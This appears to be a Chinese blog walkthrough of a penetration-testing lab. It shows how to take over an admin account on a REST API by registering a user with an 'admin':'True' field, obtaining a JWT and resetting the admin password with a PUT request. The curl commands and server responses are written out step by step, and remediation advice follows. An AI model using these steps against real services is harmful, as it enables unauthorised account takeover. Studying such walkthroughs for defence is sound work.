郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​​​


𖤐 嘿,经过前面的预热,我们正式打开这扇门,来吧 ! 

𖤐 𝓗𝓮𝔂, 𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀 𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷 ! 


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升 ▸WEB应用攻击▸利用REST API提权-----我们在这儿~ 🔥🔥🔥

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1.利用REST API提权

1.1 攻击流程总览

1.2 攻击步骤

1.2.1 API端点发现与分析方法

1.2.2 深度枚举与功能推测

1.2.3 正确API请求构造

1.2.4 发现注册功能漏洞(users/v1/register)

1.2.5 注册管理员账户(实现关键权限)

1.2.6 获取身份认证令牌

1.2.7 修改用户admin密码

1.2.8 使用新密码成功登录admin账户

1.3 防御建议

1.3.1 漏洞根本原因分析

1.3.2 即时防护措施

1.3.3 长期加固策略

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1.利用REST API提权

该案例展示了不安全的API设计如何导致整个系统沦陷。详细分析了通过API枚举发现漏洞,并利用逻辑缺陷实现权限提升的完整攻击过程。

1.1 攻击流程总览

1.2 攻击步骤

1.2.1 API端点发现与分析方法

接上一回,users/v1/admin/password的api内容:

kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problem+json
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed",     # 这意味着请求的URL存在,但我们的HTTP方法不受支持。"type": "about:blank"
}

初始发现

  • 响应码为 405 Method Not Allowed 而非404,确认端点存在,但http方法不正确。

  • 若响应码是404 Not Found,表示URL不存在。

💡 默认情况下,curl在执行请求时使用GET方法(只是获取),因此可以尝试使用不同的方法(例如POST或PUT)与password API进行交互。

推测:如果在此特定API上允许使用POST和PUT方法,这两种http方法可以覆盖用户凭据(在本例中为管理密码)。


1.2.2 深度枚举与功能推测

进一步枚举发现以下api(命令过程省略)

  • /users/v1/login - 用户登录端点

  • /users/v1/register - 用户注册端点

测试登录功能:(users/v1/login)

login是尝试猜测的路径(盲猜),通常这可能是一个用于登录操作的API端点。

kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/login# -i,输出响应头+响应主体;如果无-i,仅输出响应主体。
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT{ "status": "fail", "message": "User not found"}    # 404的原因是用户不存在

💡响应分析盲猜login是登录页面是对的。虽然返回404,但错误信息"user not found"暗示API端点有效但参数有问题。

也就是说,我们的请求有问题,但API本身并不存在问题。换句话说,我们需要找到一种正确的方式来与API进行交互,才能成功获取想要的结果


1.2.3 正确API请求构造

尝试登录验证:使用之前发现的users/v1的API下发现用户账户admin。

kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login
参数说明
-d

进行post请求。后面跟着json格式的请求内容,即:username和password的值。

-H

指定请求头的Content-Type 为 application/json类型,键值对格式。

http...

把这个请求推送到目标API:/users/v1/login

响应结果:用户名admin存在,API参数格式正确,仅密码错误,需要输入正确密码才能登录成功。

{ "status": "fail", "message": "Password is not correct for the given username."}

🎯重要!

通过这一步目的是构造API请求格式,以上的反馈说明请求格式正确,仅只是密码错误而已。如果格式不正确返回的肯定不是提示密码不正确。


1.2.4 发现注册功能漏洞(users/v1/register)

🔄思路!

由于我们不知道管理员的密码,尝试另一条路线:可否注册新用户,如果注册成功则就可以使用新用户登录而获得权限。

尝试注册新用户(尝试构建注册请求)初始响应:提示缺少必填字段email

kali@kali:~$ curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/register{ "status": "fail", "message": "'email' is a required property"}# 根据message反馈,注册失败原因:email是一个必填的属性,需要补充上email字段内容。

添加必需字段后:用户名offsecadmin注册成功,证明API参数正确形成。

kali@kali:~$curl -d 
'{"password":"lab","username":"offsecadmin","email":"123@offsec.com"}' -H 
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
{"message": "Successfully registered. Login to receive an auth token.", "status": 
"success"}

1.2.5 注册管理员账户(实现关键权限)

📡推测!

让我们尝试添加admin字段,后面跟着一个True值,来表示这个用户是管理员(可能是权限设置的一部分)。这一步需要靠经验,靠尝试!

尝试注册管理员账户

kali@kali:~$curl -d 
'{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register{"message": "Successfully registered. Login to receive an auth token.", "status": 
"success"}

漏洞利用:成功注册具有管理员权限的用户offsec,暴露严重的权限控制缺陷。这在设计上是不允许的。


1.2.6 获取身份认证令牌

使用刚刚新建管理员账户offsec登录(获取token令牌)

kali@kali:~$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login# 成功登录,并获取token令牌(供后续利用)
{"auth_token": 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew", "message": 
"Successfully logged in.", "status": "success"}

成功获取:JWT身份验证令牌,用于后续特权操作。


1.2.7 修改用户admin密码

尝试修改密码

kali@kali:~$ curl \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \-d '{"password": "pwned"}'# 以下是响应内容,说明修改密码的方法-d(post方法)不对,因此要尝试另一种方法(比如put)
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed","type": "about:blank"
}
参数说明
http...

把这个请求推送到目标API:/users/v1/admin/password,修改用户admin密码的api

-H

指定请求头的Content-Type 为 application/json类型,键值对格式。

-H'Authorization: OAuth <token>': 请求头,包含了 OAuth 认证令牌。该令牌用于验证请求的合法性和授权访问权限。OAuth 令牌通常表示当前用户已通过认证,并获得对相关资源的访问权限,这里填入的的token表明的是管理员权限。换句话说,所有管理员的权限用token标识。
-d

进行post请求体部分。表示你试图将管理员密码更新为 "pwned"。

方法调整:服务器返回了一个错误响应,应用程序表示使用的方法POST不正确,所以尝试另一种方法。比如:PUT方法(以及PATCH方法)通常用于替换一个值,而不是通过POST请求创建一个值。所以尝试从POST改为PUT方法,成功修改管理员密码。

kali@kali:~$ curl -X 'PUT' \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \-d '{"password": "pwned"}'
参数说明
-X 'PUT'

指定了HTTP请求方法为 PUT,通常用于更新资源。

最终验证:这次没有收到错误消息,合理推测修改密码成功


1.2.8 使用新密码成功登录admin账户

使用用户名admin,密码pwned(修改后的),使用API:/users/v1/login成功登录,获得admin的管理员权限。

kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: 
application/json' http://192.168.50.16:5002/users/v1/login{"auth_token": 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message": 
"Successfully logged in.", "status": "success"}

🔐再次注意!

我们会发现管理员admin反馈的token值,和刚刚新建的管理员offsec是一样的。

进一步证明:这个token用于证明是管理员权限,用于授权使用。


1.3 防御建议

1.3.1 漏洞根本原因分析

漏洞类型具体表现安全影响
权限控制缺失注册接口可设置admin字段严重
API方法暴露未禁用危险HTTP方法
错误信息泄露详细错误消息暴露系统信息
参数验证不足缺乏输入验证和过滤

1.3.2 即时防护措施

  • 🔒 输入验证:对所有API参数进行严格验证和过滤

  • 🛡️ 权限检查:服务器端验证用户权限,不信任客户端提交的权限字段

  • 🚫 方法限制:禁用不必要的HTTP方法(PUT、DELETE等)

  • 📊 日志监控:记录所有API访问和权限变更操作


1.3.3 长期加固策略

  • ✅ API安全设计:遵循API安全最佳实践

  • 🔐 身份验证强化:实施强身份验证和授权机制

  • 📋 安全测试:定期进行API安全测试和代码审计

  • 🎓 开发培训:提高开发人员安全编码意识


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/922165.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/922165.shtml
英文地址,请注明出处:http://en.pswp.cn/news/922165.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UE5 基础应用 —— 07 - 角色蓝图 简单使用

目录 一、角色蓝图 1.1 Pawn / Character 1.2 角色基类 1.3 角色基类设置 1.3.1 基础设置 1.3.2 角色移动和相机旋转 1.3.3 角色移动 —— 锁定视角 1.3.4 角色跳跃 1.4 角色派生类设置 1.4.1 添加动画蓝图 一、角色蓝图 1.1 Pawn / Character Pawn / Character 有什…

流畅的Python(二) 丰富的序列

流畅的Python 第二章&#xff1a;丰富的序列 摘要&#xff1a;在日常Python开发中&#xff0c;我们频繁与各种数据结构打交道&#xff0c;其中序列类型&#xff08;如列表、元组、字符串&#xff09;是基石。然而&#xff0c;你是否曾因对它们理解不深&#xff0c;而在性能优化…

嵌入式 - ARM6

一、按键1. 初始化key.c手册C32 - IOMUXC1. 复用功能配置IOMUXC_SW_MUX_CTL_PAD_UART1_CTS_B: 低四位&#xff08;0101&#xff09; IOMUXC_SetPinMux(IOMUXC_UART1_CTS_B_GPIO1_IO18, 0);SION(信号监控)1: 0 //0 DISABLED — Input Path is determined by functionality MUX_…

菊水PBZ电源在蓄电池充放电测试中的应用探讨

通过高速双极性电源PBZ系列进行蓄电池恒流&#xff0c;恒压充电的方法 对于仪器厂商来说&#xff0c;要求“请按照使用说明书使用”是产品的使用方针&#xff0c;或者说是正确用法。但是&#xff0c;作为具有代表性的通用产品&#xff0c;直流电源的实际使用方法可谓五花八门&…

Zephyr嵌入式实时操作系统安装配置

Zephyr简介 Zephyr 是一款由 Linux 基金会 托管的开源实时操作系统(RTOS),专为资源受限的嵌入式设备(从微控制器到小型边缘计算节点)设计,广泛应用于物联网(IoT)、工业自动化、消费电子、医疗设备、汽车电子等领域。其核心优势在于轻量级、高可配置性和对多架构硬件的广…

Linux系统 SELinux 安全管理与故障排查

一、SELinux 安全上下文管理1. SELinux 简介SELinux&#xff08;Security-Enhanced Linux&#xff09;是 Linux 内核的强制访问控制&#xff08;MAC&#xff09;安全子系统&#xff0c;通过基于标签的访问控制实现细粒度权限管理&#xff0c;遵循最小权限原则。SELinux 有三种工…

解密完全二叉树顺序存储之堆结构

前言:各位老铁好&#xff0c;在前面博客中&#xff0c;笔者分享了有关二叉树的博客&#xff0c;在那篇博客中&#xff0c;笔者讲到了完全二叉树的存储结构中有两种存储方式&#xff0c;一种是顺序存储&#xff0c;一种是链式存储&#xff0c;链式存储笔者已经带各位老铁实现过了…

通过针刺!鹏辉能源移动电源电池革新之作 Secu 系列:不燃电解液加持,充电宝安全新选择

9月11日&#xff0c;鹏辉能源对外发布新一代移动电源高安全电池Secu系列。该产品通过采用不燃的电解液破解移动电源产品安全难题&#xff0c;直击当下移动电源安全事故频发的行业痛点&#xff0c;为移动电源行业带来更安全、更可靠的半固态电池解决方案。数字化时代&#xff0c…

软件定义汽车(SDV)与区域电子电气架构(Zonal EEA)的技术革新

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 做到欲望极简,了解自己的真实欲望,不受外在潮流的影响,不盲从,不跟风。把自己的精力全部用在自己。一是去掉多余,凡事找规律,基础是诚信;二是…

在 Docker Compose 中解决文件权限不足的问题

在使用 Docker 和 Docker Compose 构建应用时&#xff0c;由于容器中的文件权限不足而导致某些容器可能无法访问宿主机上的文件&#xff0c;或者容器内的文件系统无法正确读取或写入文件。问题描述在我的项目中&#xff0c;我使用 Docker Compose 来启动多个服务&#xff0c;并…

认知语义学对人工智能自然语言处理的深层语义分析:理论启示与实践路径

摘要随着人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;自然语言处理&#xff08;NLP&#xff09;已成为其核心驱动力之一。然而&#xff0c;尽管以大型语言模型&#xff08;LLMs&#xff09;为代表的现代NLP系统在处理语言任务上取得了前所未有的成功&#xf…

React19 中的交互操作

需要安装的库 antd-mobile、use-immer在App.jsx 中引入组件 Actionimport "./App.css" import Action from "./pages/action" function App() {return (<><Action></Action></>) }export default Appaction.jsx 组件import LearnI…

仓颉编程语言青少年基础教程:数组类型

仓颉编程语言青少年基础教程&#xff1a;数组类型 数组本质上是有序、同类型数据的集合容器&#xff0c;其核心作用是高效组织、访问和处理批量数据&#xff0c;同时结合语言特性&#xff0c;为开发者提供简洁、高性能的数据管理方式。例如&#xff1a; main() { let v1: …

C++微基础蓝桥杯之旅9.9-9.12

这里主要还是强制类型转换的使用//打印字符ASCII码值 //输入一个除空格以外的可见字符 //输出其ASCII值--十进制整数 #include <iostream> using namespace std;int main() {char ch;cin >> ch;//字符cout << (int)ch << endl; return 0; }//打印字符…

逻辑漏洞(上)- 突破功能限制漏洞、用户信息泄露(逻辑漏洞入门)

漏洞介绍&#xff1a; 在网络攻防实战中&#xff0c;常会遇到各种前端限制&#xff0c;绕过限制的方法大多是改包或者修改前端代码来实现的。 漏洞环境&#xff1a;docker docker-compose up -d 启动环境后&#xff1a;访问 http://127.0.0.1:8983/web/# 发现查询按钮是无法使用…

tsv文件简介

初步了解tsv文件在很多 OCR&#xff08;光学字符识别&#xff09;项目中&#xff0c;.tsv文件是标准的训练数据标注文件&#xff0c;主要用于存储 “图像路径 - 对应文本标签” 的映射关系&#xff0c;同时可能包含图像尺寸、文本长度等辅助信息&#xff0c;方便模型读取训练数…

apache poi 导出复杂的excel表格

如何导出复杂的excel 表格 如图表格&#xff0c;存在行和列的合并&#xff0c;边框&#xff0c;样式&#xff0c;颜色等。依赖<!-- https://mvnrepository.com/artifact/org.apache.poi/poi --><dependency><groupId>org.apache.poi</groupId><arti…

下载 Eclipse Temurin 的 OpenJDK 提示 “无法访问此网站 github.com 的响应时间过长”

打开 Eclipse Temurin 的 OpenJDK 的官网下载地址&#xff1a; https://adoptium.net/zh-CN/temurin/releases 问 deepseek&#xff1a; 国内网络&#xff0c;打不开github.com网页&#xff0c;提示github.com 的响应时间过长。 国内无法访问 GitHub 或访问缓慢&#xff0c;通…

C/C++类型转换

C/C类型转换 1. C类型转换 C 语言中的类型转换主要分为两种&#xff1a;隐式类型转换 (Implicit Conversion) - 由编译器自动完成。显式类型转换 (Explicit Conversion) - 由程序员强制指定&#xff0c;也称为强制类型转换。1.2 隐式类型转换 编译器在编译时自动进行的转换&…

【Java】Windows切换Java8和Java11

现在有些项目要升级到Java17, 所以需要切换不同的java版本。 如何安装Java8 由于已经安装了jJava8, 之前的安装文章&#xff1a;【Java】jdk8安装——英文版 如何安装Java17 Java17下载地址 https://www.oracle.com/java/technologies/downloads/#java17-windows 下载到电…